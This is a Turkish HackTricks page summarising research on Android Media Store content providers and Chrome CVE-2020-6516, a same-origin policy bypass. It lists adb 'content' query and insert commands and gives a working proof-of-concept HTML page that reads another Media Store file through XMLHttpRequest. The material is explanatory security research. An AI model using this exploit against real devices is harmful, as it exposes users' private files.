tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Bu, https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ gönderisinin bir özetidir.
Medya Mağazasında Dosyaları Listeleme
Medya Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
$ content query --uri content://media/external/file
Daha insan dostu bir çıktı için, her indekslenmiş dosyanın yalnızca tanımlayıcısını ve yolunu gösterin:
$ content query --uri content://media/external/file --projection _id,_data
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli bir content://
URI'sini gerektirir. Bir sağlayıcıya erişim için yollar hakkında bilgi, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
Chrome'un İçerik Sağlayıcılara Erişimi
Android'deki Chrome, content://
şeması aracılığıyla içerik sağlayıcılara erişebilir ve bu sayede üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişim sağlar. Bunu göstermek için, bir dosya Medya Deposu'na eklenebilir ve ardından Chrome aracılığıyla erişilebilir:
Medya Deposu'na özel bir giriş ekleyin:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Yeni eklenen dosyanın tanımlayıcısını keşfedin:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Dosya, dosyanın tanımlayıcısıyla oluşturulmuş bir URL kullanılarak Chrome'da görüntülenebilir.
Örneğin, belirli bir uygulamayla ilgili dosyaları listelemek için:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
Same Origin Policy (SOP), farklı kökenlerden gelen kaynaklarla etkileşimde bulunmayı kısıtlayan bir güvenlik protokolüdür. Bu, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası tarafından açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve cross-site request forgery'yi önlemeyi amaçlar. Chrome, content://
'ı yerel bir şema olarak kabul eder ve bu da daha sıkı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir köken olarak değerlendirilir.
Ancak, CVE-2020-6516, content://
URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, content://
URL'sinden gelen JavaScript kodu, content://
URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda önemli bir güvenlik endişesiydi, çünkü burada kapsamlı depolama uygulanmamıştı.
Aşağıdaki kanıt konsepti, /sdcard altında yüklendikten sonra Medya Mağazası'na eklenen bir HTML belgesinin, JavaScript'inde XMLHttpRequest
kullanarak Medya Mağazası'ndaki başka bir dosyanın içeriğine erişip görüntülemesini gösterir ve SOP kurallarını aşar.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.